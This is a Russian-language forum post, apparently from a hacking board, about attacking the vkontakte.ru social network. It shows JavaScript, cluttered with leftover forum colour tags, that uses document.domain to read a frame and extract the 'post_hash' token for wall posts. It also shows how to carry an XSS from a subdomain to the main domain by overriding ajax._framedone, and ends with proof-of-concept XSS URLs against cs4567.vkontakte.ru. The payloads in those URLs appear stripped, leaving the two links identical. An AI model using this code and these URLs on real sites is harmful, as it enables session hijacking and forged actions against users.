1) Чтение страниц с другого домена.
Обмен данными между страницей и фреймом возможен только если они находятся на одном домене.
Домен хранится в свойстве
document.domain. Политика безопасности позволяет изменить это свойство только на текущий домен или наддомен.
Например, на сайте
news.site.com мы можем установить
document.domain='site.com'и обратно
document.domain='news.site.com'.
Есть еще одна проблема. Для обмена данными необходимо, чтобы обе страницы присвоили одинаковое имя домена свойству
document.domain, даже если одна из страниц расположена на нужном домене.
То есть, с
news.site.com можно прочитать страницу, находящуюся на
site.com или на
mail.site.com, если на этой странице свойству
document.domain присвоено значение
'site.com'
Пример. Получение хеша для отправки сообщения на стену:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]domain[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'vkontakte.ru'[/COLOR][COLOR="#007700"];
function[/COLOR][COLOR="#0000BB"]getHash[/COLOR][COLOR="#007700"]()
{
var[/COLOR][COLOR="#0000BB"]page[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
for([/COLOR][COLOR="#0000BB"]i in document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]frames[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]scripts[/COLOR][COLOR="#007700"])
[/COLOR][COLOR="#0000BB"]page[/COLOR][COLOR="#007700"]+= ([/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]frames[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]scripts[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]innerText[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"](/\\\[/COLOR][COLOR="#DD0000"]"post_hash\\\":\\\"(.+?)\\\"/.exec(page));
}
[/COLOR][/COLOR]
2) Перевод XSS на другой домен
Чтение некоторых страниц сайта - лучше, чем ничего, но хотелось бы большего.
Посмотрим на страницу
http://vkontakte.ru/al_profile.php?al=-1
Код HTML:
var locDomain = location.host.toString().match(/[a-zA-Z]+\.[a-zA-Z]+\.?$/)[0];
if (/opera/i.test(_ua) || !/msie 6/i.test(_ua) || document.domain != locDomain) {
document.domain = locDomain;
}
Этот код позволяет обмениваться данными с любым поддоменом
vkontakte.ru
Код HTML:
parent.ajax._framedone('123405678', [1,"\/username",1]);
Обращение к функции объекта родительского окна
Выполнения этих двух условий достаточно, для изменения домена
XSS на другой домен того же уровня или наддомен.
Пример:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
function[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"]()
{
[/COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'good'[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// код внутри функции a() выполняется на домене vkontakte.ru
[/COLOR][COLOR="#007700"]}
[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]domain[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'vkontakte.ru'[/COLOR][COLOR="#007700"];
var[/COLOR][COLOR="#0000BB"]ajax[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Object[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]ajax[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]_framedone[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]
[/COLOR]
[/COLOR]
PoC:
XSS на поддомене
cs4567
http://cs4567.vkontakte.ru/upload.php?act=parse_share&url=http://www.google.com/?=
Та же
XSS, но выполняется уже на самом
vkontakte.ru (пробелы убрать)
http://cs4567.vkontakte.ru/upload.php?act=parse_share&url=http://www.google.com/?=